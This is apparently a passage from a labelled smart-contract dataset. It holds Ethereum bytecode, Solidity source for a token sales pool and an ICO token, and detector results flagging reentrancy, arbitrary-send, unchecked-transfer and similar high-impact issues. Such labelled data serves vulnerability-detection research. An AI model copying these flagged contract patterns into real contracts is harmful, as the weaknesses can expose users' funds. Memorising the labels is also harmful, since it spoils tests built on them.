0fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122070b08c6447092062ff0c11c20875f059e3d09b11e791defe5aed78e0cfd95a1964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,729
0xb6d658fdb919c7dedb357714fd9ace62f08c79a4
pragma solidity ^0.4.24; pragma experimental "v0.5.0"; pragma experimental ABIEncoderV2; contract ERC20 { function balanceOf (address owner) public view returns (uint256); function allowance (address owner, address spender) public view returns (uint256); function transfer (address to, uint256 value) public returns (bool); function transferFrom (address from, address to, uint256 value) public returns (bool); function approve (address spender, uint256 value) public returns (bool); } contract SalesPool { using Math for uint256; address public owner; ERC20 public smartToken; Math.Fraction public tokenPrice; uint256 public pipeIndex = 1; mapping (uint256 => SalesPipe) public indexToPipe; mapping (address => uint256) public pipeToIndex; struct Commission { uint256 gt; uint256 lte; uint256 pa; } struct Commissions { Commission[] array; uint256 length; } uint256 termsIndex = 1; mapping (uint256 => Commissions) public terms; event CreateSalesPipe(address salesPipe); constructor ( address _smartTokenAddress, uint256 _priceNumerator, uint256 _priceDenominator ) public { owner = msg.sender; smartToken = ERC20(_smartTokenAddress); tokenPrice.numerator = _priceNumerator; tokenPrice.denominator = _priceDenominator; uint256 maxUint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935; terms[1].array.push(Commission(0 ether, 2000 ether, 5)); terms[1].array.push(Commission(2000 ether, 10000 ether, 8)); terms[1].array.push(Commission(10000 ether, maxUint256, 10)); terms[1].length = terms[1].array.length; terms[2].array.push(Commission(0 ether, maxUint256, 5)); terms[2].length = terms[2].array.length; terms[3].array.push(Commission(0 ether, maxUint256, 15)); terms[3].length = terms[3].array.length; termsIndex = 4; } function pushTerms (Commission[] _array) public { require(msg.sender == owner); for (uint256 i = 0; i < _array.length; i++) { terms[termsIndex].array.push(Commission(_array[i].gt, _array[i].lte, _array[i].pa)); } terms[termsIndex].length = terms[termsIndex].array.length; termsIndex++; } function createPipe ( uint256 _termsNumber, uint256 _allowance, bytes32 _secretHash ) public { require(msg.sender == owner); SalesPipe pipe = new SalesPipe(owner, _termsNumber, smartToken, _secretHash); address pipeAddress = address(pipe); smartToken.approve(pipeAddress, _allowance); indexToPipe[pipeIndex] = pipe; pipeToIndex[pipeAddress] = pipeIndex; pipeIndex++; emit CreateSalesPipe(pipeAddress); } function setSalesPipeAllowance (address _pipeAddress, uint256 _value) public { require(msg.sender == owner); smartToken.approve(_pipeAddress, _value); } function poolTokenAmount () public view returns (uint256) { return smartToken.balanceOf(address(this)); } function transferEther(address _to, uint256 _value) public { require(msg.sender == owner); _to.transfer(_value); } function transferToken(ERC20 erc20, address _to, uint256 _value) public { require(msg.sender == owner); erc20.transfer(_to, _value); } function setOwner (address _owner) public { require(msg.sender == owner); owner = _owner; } function setSmartToken(address _smartTokenAddress) public { require(msg.sender == owner); smartToken = ERC20(_smartTokenAddress); } function setTokenPrice(uint256 numerator, uint256 denominator) public { require(msg.sender == owner); require( numerator > 0 && denominator > 0 ); tokenPrice.numerator = numerator; tokenPrice.denominator = denominator; } function getTokenPrice () public view returns (uint256, uint256) { return (tokenPrice.numerator, tokenPrice.denominator); } function getCommissions (uint256 _termsNumber) public view returns (Commissions) { return terms[_termsNumber]; } function () payable external {} } contract SalesPipe { using Math for uint256; SalesPool public pool; address public owner; uint256 public termsNumber; ERC20 public smartToken; address public rf = address(0); bytes32 public secretHash; bool public available = true; bool public finalized = false; uint256 public totalEtherReceived = 0; event TokenPurchase( ERC20 indexed smartToken, address indexed buyer, address indexed receiver, uint256 value, uint256 amount ); event RFDeclare (address rf); event Finalize (uint256 fstkRevenue, uint256 rfReceived); constructor ( address _owner, uint256 _termsNumber, ERC20 _smartToken, bytes32 _secretHash ) public { pool = SalesPool(msg.sender); owner = _owner; termsNumber = _termsNumber; smartToken = _smartToken; secretHash = _secretHash; } function () external payable { Math.Fraction memory tokenPrice; (tokenPrice.numerator, tokenPrice.denominator) = pool.getTokenPrice(); address poolAddress = address(pool); uint256 availableAmount = Math.min( smartToken.allowance(poolAddress, address(this)), smartToken.balanceOf(poolAddress) ); uint256 revenue; uint256 purchaseAmount = msg.value.div(tokenPrice); require( available && finalized == false && availableAmount > 0 && purchaseAmount > 0 ); if (availableAmount >= purchaseAmount) { revenue = msg.value; if (availableAmount == purchaseAmount) { available = false; } } else { purchaseAmount = availableAmount; revenue = availableAmount.mulCeil(tokenPrice); available = false; msg.sender.transfer(msg.value - revenue); } smartToken.transferFrom(poolAddress, msg.sender, purchaseAmount); emit TokenPurchase(smartToken, msg.sender, msg.sender, revenue, purchaseAmount); totalEtherReceived += revenue; } function declareRF(string _secret) public { require( secretHash == keccak256(abi.encodePacked(_secret)) && rf == address(0) ); rf = msg.sender; emit RFDeclare(rf); } function finalize () public { require( msg.sender == owner && available == false && finalized == false && rf != address(0) ); finalized = true; address poolAddress = address(pool); uint256 rfEther = calculateCommission(address(this).balance, termsNumber); uint256 fstkEther = address(this).balance - rfEther; rf.transfer(rfEther); poolAddress.transfer(fstkEther); emit Finalize(fstkEther, rfEther); } function calculateCommission ( uint256 _totalReceivedEther, uint256 _termsNumber ) public view returns (uint256) { SalesPool.Commissions memory commissions = pool.getCommissions(_termsNumber); for (uint256 i = 0; i < commissions.length; i++) { SalesPool.Commission memory commission = commissions.array[i]; if (_totalReceivedEther > commission.gt && _totalReceivedEther <= commission.lte) { return _totalReceivedEther * commission.pa / 100; } } return 0; } function setOwner (address _owner) public { require(msg.sender == owner); owner = _owner; } function setTermsNumber (uint256 _termsNumber) public { require(msg.sender == owner); termsNumber = _termsNumber; } function setAvailability (bool _available) public { require(msg.sender == owner); available = _available; } } library Math { struct Fraction { uint256 numerator; uint256 denominator; } function isPositive(Fraction memory fraction) internal pure returns (bool) { return fraction.numerator > 0 && fraction.denominator > 0; } function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a * b; require((a == 0) || (r / a == b)); } function div(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a - b) <= a); } function add(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a + b) >= a); } function min(uint256 x, uint256 y) internal pure returns (uint256 r) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 r) { return x >= y ? x : y; } function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { // try mul r = value * m; if (r / value == m) { // if mul not overflow r /= d; } else { // else div first r = mul(value / d, m); } } function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { // try mul r = value * m; if (r / value == m) { // mul not overflow if (r % d == 0) { r /= d; } else { r = (r / d) + 1; } } else { // mul overflow then div first r = mul(value / d, m); if (value % d != 0) { r += 1; } } } function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.numerator, f.denominator); } function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.numerator, f.denominator); } function div(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.denominator, f.numerator); } function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.denominator, f.numerator); } function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { return Math.Fraction({ numerator: mul(x.numerator, y.numerator), denominator: mul(x.denominator, y.denominator) }); } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166313af403581146104e257806316f0115b1461050457806326a183751461052f57806348a0d7541461054f5780634bb278f3146105715780637ef3e741146105865780638da5cb5b146105a857806399b55343146105ca578063b3f05b97146105df578063bac506e0146105f4578063c3e8fb4014610609578063d18b07b21461061e578063d29e68031461063e578063e249a57514610653578063f056a5c714610673575b6100e2610d36565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634b94f50e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401604080518083038186803b15801561016a57600080fd5b505afa15801561017e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101a29190810190611086565b602087015285526000546003546040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283169650610308929091169063dd62ed3e9061020d90889030906004016110ee565b60206040518083038186803b15801561022557600080fd5b505afa158015610239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061025d919081019061102e565b6003546040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906370a08231906102b39089906004016110e0565b60206040518083038186803b1580156102cb57600080fd5b505afa1580156102df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610303919081019061102e565b610693565b925061031a348663ffffffff6106ae16565b60065490915060ff1680156103375750600654610100900460ff16155b80156103435750600083115b801561034f5750600081115b151561035a57600080fd5b80831061037c5734915080831415610377576006805460ff191690555b6103cc565b508161038e818663ffffffff6106c316565b6006805460ff1916905560405190925033903484900380156108fc02916000818181858888f193505050501580156103ca573d6000803e3d6000fd5b505b6003546040517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd9061042690879033908690600401611109565b602060405180830381600087803b15801561044057600080fd5b505af1158015610454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506104789190810190610f88565b506003546040513391829173ffffffffffffffffffffffffffffffffffffffff909116907fd1508eb33cb2ff0cd96cf67f00ab2c6b7fc5142d97832add4b29748b29111024906104cb908790879061115b565b60405180910390a450600780549091019055505050005b3480156104ee57600080fd5b506105026104fd366004610f44565b6106d8565b005b34801561051057600080fd5b50610519610738565b604051610526919061114d565b60405180910390f35b34801561053b57600080fd5b5061050261054a366004610f6a565b610754565b34801561055b57600080fd5b5061056461078b565b6040516105269190611131565b34801561057d57600080fd5b50610502610794565b34801561059257600080fd5b5061059b610914565b604051610526919061113f565b3480156105b457600080fd5b506105bd61091a565b60405161052691906110e0565b3480156105d657600080fd5b5061059b610936565b3480156105eb57600080fd5b5061056461093c565b34801561060057600080fd5b506105bd61094a565b34801561061557600080fd5b50610519610966565b34801561062a57600080fd5b5061059b61063936600461104c565b610982565b34801561064a57600080fd5b5061059b610ab4565b34801561065f57600080fd5b5061050261066e366004611010565b610aba565b34801561067f57600080fd5b5061050261068e366004610fa6565b610ae3565b6000818311156106a357816106a5565b825b90505b92915050565b60006106a58383602001518460000151610c4c565b60006106a58383600001518460200151610c94565b60015473ffffffffffffffffffffffffffffffffffffffff1633146106fc57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff191673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff16331461077857600080fd5b6006805460ff1916911515919091179055565b60065460ff1681565b6001546000908190819073ffffffffffffffffffffffffffffffffffffffff16331480156107c5575060065460ff16155b80156107d95750600654610100900460ff16155b80156107fc575060045473ffffffffffffffffffffffffffffffffffffffff1615155b151561080757600080fd5b6006805461ff00191661010017905560005460025473ffffffffffffffffffffffffffffffffffffffff909116935061084290303190610982565b6004546040519193503031849003925073ffffffffffffffffffffffffffffffffffffffff169083156108fc029084906000818181858888f19350505050158015610891573d6000803e3d6000fd5b5060405173ffffffffffffffffffffffffffffffffffffffff84169082156108fc029083906000818181858888f193505050501580156108d5573d6000803e3d6000fd5b507f9d3cb3e4bff976f636db6ed472093505eb1b5bafc234ea8276ae83b3ea0a8b74818360405161090792919061115b565b60405180910390a1505050565b60075481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600654610100900460ff1681565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b600061098c610d4d565b6000610996610d65565b6000546040517f1a88cc3100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690631a88cc31906109ec90889060040161113f565b60006040518083038186803b158015610a0457600080fd5b505afa158015610a18573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a409190810190610fdb565b9250600091505b8260200151821015610aa6578251805183908110610a6157fe5b906020019060200201519050806000015186118015610a84575080602001518611155b15610a9b5760408101516064908702049350610aab565b600190910190610a47565b600093505b50505092915050565b60055481565b60015473ffffffffffffffffffffffffffffffffffffffff163314610ade57600080fd5b600255565b806040516020018082805190602001908083835b60208310610b165780518252601f199092019160209182019101610af7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310610b795780518252601f199092019160209182019101610b5a565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091206005541492505081159050610bcd575060045473ffffffffffffffffffffffffffffffffffffffff16155b1515610bd857600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff19163317908190556040517fc99430857c2cdea7c71b0bfb21f2f52a058e57959289dd417b68de4c9368b5e791610c419173ffffffffffffffffffffffffffffffffffffffff91909116906110e0565b60405180910390a150565b828202828482811515610c5b57fe5b041415610c75578181811515610c6d57fe5b049050610c8d565b610c8a8285811515610c8357fe5b0484610d11565b90505b9392505050565b828202828482811515610ca357fe5b041415610ce6578181811515610cb557fe5b061515610ccf578181811515610cc757fe5b049050610ce1565b8181811515610cda57fe5b0460010190505b610c8d565b610cf48285811515610c8357fe5b90508184811515610d0157fe5b0615610c8d576001019392505050565b818102821580610d2b5750818382811515610d2857fe5b04145b15156106a857600080fd5b604080518082019091526000808252602082015290565b60408051808201909152606081526000602082015290565b6060604051908101604052806000815260200160008152602001600081525090565b60006106a582356111e6565b6000601f82018313610da457600080fd5b8151610db7610db28261119d565b611176565b91508181835260208401935060208101905083856060840282011115610ddc57600080fd5b60005b83811015610e0a5781610df28882610e72565b84525060209092019160609190910190600101610ddf565b5050505092915050565b60006106a582356111ff565b60006106a582516111ff565b6000601f82018313610e3d57600080fd5b8135610e4b610db2826111be565b91508082526020830160208301858383011115610e6757600080fd5b610aab838284611212565b600060608284031215610e8457600080fd5b610e8e6060611176565b90506000610e9c8484610f38565b8252506020610ead84848301610f38565b6020830152506040610ec184828501610f38565b60408301525092915050565b600060408284031215610edf57600080fd5b610ee96040611176565b825190915067ffffffffffffffff811115610f0357600080fd5b610f0f84828501610d93565b8252506020610f2084848301610f38565b60208301525092915050565b60006106a58235611204565b60006106a58251611204565b600060208284031215610f5657600080fd5b6000610f628484610d87565b949350505050565b600060208284031215610f7c57600080fd5b6000610f628484610e14565b600060208284031215610f9a57600080fd5b6000610f628484610e20565b600060208284031215610fb857600080fd5b813567ffffffffffffffff811115610fcf57600080fd5b610f6284828501610e2c565b600060208284031215610fed57600080fd5b815167ffffffffffffffff81111561100457600080fd5b610f6284828501610ecd565b60006020828403121561102257600080fd5b6000610f628484610f2c565b60006020828403121561104057600080fd5b6000610f628484610f38565b6000806040838503121561105f57600080fd5b600061106b8585610f2c565b925050602061107c85828601610f2c565b9150509250929050565b6000806040838503121561109957600080fd5b60006110a58585610f38565b925050602061107c85828601610f38565b6110bf816111e6565b82525050565b6110bf816111ff565b6110bf81611204565b6110bf81611207565b602081016106a882846110b6565b604081016110fc82856110b6565b610c8d60208301846110b6565b6060810161111782866110b6565b61112460208301856110b6565b610f6260408301846110ce565b602081016106a882846110c5565b602081016106a882846110ce565b602081016106a882846110d7565b6040810161116982856110ce565b610c8d60208301846110ce565b60405181810167ffffffffffffffff8111828210171561119557600080fd5b604052919050565b600067ffffffffffffffff8211156111b457600080fd5b5060209081020190565b600067ffffffffffffffff8211156111d557600080fd5b506020601f91909101601f19160190565b73ffffffffffffffffffffffffffffffffffffffff1690565b151590565b90565b60006106a8826111e6565b828183375060009101525600a265627a7a723058205499b79809a25ecb6ffb0019f627b1acafae1b2efadd0de2a0c271576f2c346f6c6578706572696d656e74616cf50037
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
2,730
0x13873a43694f039d18107afeac917aff6bc4fa96
pragma solidity ^0.4.24; contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract ERC20 is owned { // Public variables of the token string public name = "PerfectChain Network"; string public symbol = "PNN"; uint8 public decimals = 18; uint256 public totalSupply = 200000000 * 10 ** uint256(decimals); bool public released = false; /// contract that is allowed to create new tokens and allows unlift the transfer limits on this token address public ICO_Contract; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor () public { balanceOf[owner] = totalSupply; } modifier canTransfer() { require(released || msg.sender == ICO_Contract || msg.sender == owner); _; } function releaseToken() public onlyOwner { released = true; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint256 _value) canTransfer internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Check if sender is frozen require(!frozenAccount[_from]); // Check if recipient is frozen require(!frozenAccount[_to]); // Save this for an assertion in the future uint256 previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @dev Set the ICO_Contract. /// @param _ICO_Contract crowdsale contract address function setICO_Contract(address _ICO_Contract) onlyOwner public { ICO_Contract = _ICO_Contract; } } contract Killable is owned { function kill() onlyOwner public { selfdestruct(owner); } } contract ERC20_ICO is owned, Killable { /// The token we are selling ERC20 public token; /// the UNIX timestamp start date of the crowdsale uint256 public startsAt = 1528761600; /// the UNIX timestamp end date of the crowdsale uint256 public endsAt = 1531389600; /// the price of token uint256 public TokenPerETH = 5600; /// Has this crowdsale been finalized bool public finalized = false; /// the number of tokens already sold through this contract uint256 public tokensSold = 0; /// the number of ETH raised through this contract uint256 public weiRaised = 0; /// How many distinct addresses have invested uint256 public investorCount = 0; /// How much Token minimum sale. uint256 public Soft_Cap = 40000000000000000000000000; /// How much Token maximum sale. uint256 public Hard_Cap = 140000000000000000000000000; /// How much ETH each address has invested to this crowdsale mapping (address => uint256) public investedAmountOf; /// list of investor address[] public investorlist; /// A new investment was made event Invested(address investor, uint256 weiAmount, uint256 tokenAmount); /// Crowdsale Start time has been changed event StartsAtChanged(uint256 startsAt); /// Crowdsale end time has been changed event EndsAtChanged(uint256 endsAt); /// Calculated new price event RateChanged(uint256 oldValue, uint256 newValue); /// Refund was processed for a contributor event Refund(address investor, uint256 weiAmount); constructor (address _token) public { token = ERC20(_token); } function investInternal(address receiver) private { require(!finalized); require(startsAt <= now && endsAt > now); require(tokensSold <= Hard_Cap); require(msg.value >= 10000000000000000); if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; investorlist.push(receiver) -1; } // Update investor uint256 tokensAmount = msg.value * TokenPerETH; investedAmountOf[receiver] += msg.value; // Update totals tokensSold += tokensAmount; weiRaised += msg.value; // Tell us invest was success emit Invested(receiver, msg.value, tokensAmount); if (msg.value >= 100000000000000000 && msg.value < 10000000000000000000 ) { // 0.1-10 ETH 20% Bonus tokensAmount = tokensAmount * 120 / 100; } if (msg.value >= 10000000000000000000 && msg.value < 30000000000000000000) { // 10-30 ETH 30% Bonus tokensAmount = tokensAmount * 130 / 100; } if (msg.value >= 30000000000000000000) { // 30 ETh and more 40% Bonus tokensAmount = tokensAmount * 140 / 100; } token.transfer(receiver, tokensAmount); // Transfer Fund to owner&#39;s address owner.transfer(address(this).balance); } function () public payable { investInternal(msg.sender); } function setStartsAt(uint256 time) onlyOwner public { require(!finalized); startsAt = time; emit StartsAtChanged(startsAt); } function setEndsAt(uint256 time) onlyOwner public { require(!finalized); endsAt = time; emit EndsAtChanged(endsAt); } function setRate(uint256 value) onlyOwner public { require(!finalized); require(value > 0); emit RateChanged(TokenPerETH, value); TokenPerETH = value; } function finalize() public onlyOwner { // Finalized Pre ICO crowdsele. finalized = true; uint256 tokensAmount = token.balanceOf(this); token.transfer(owner, tokensAmount); } }
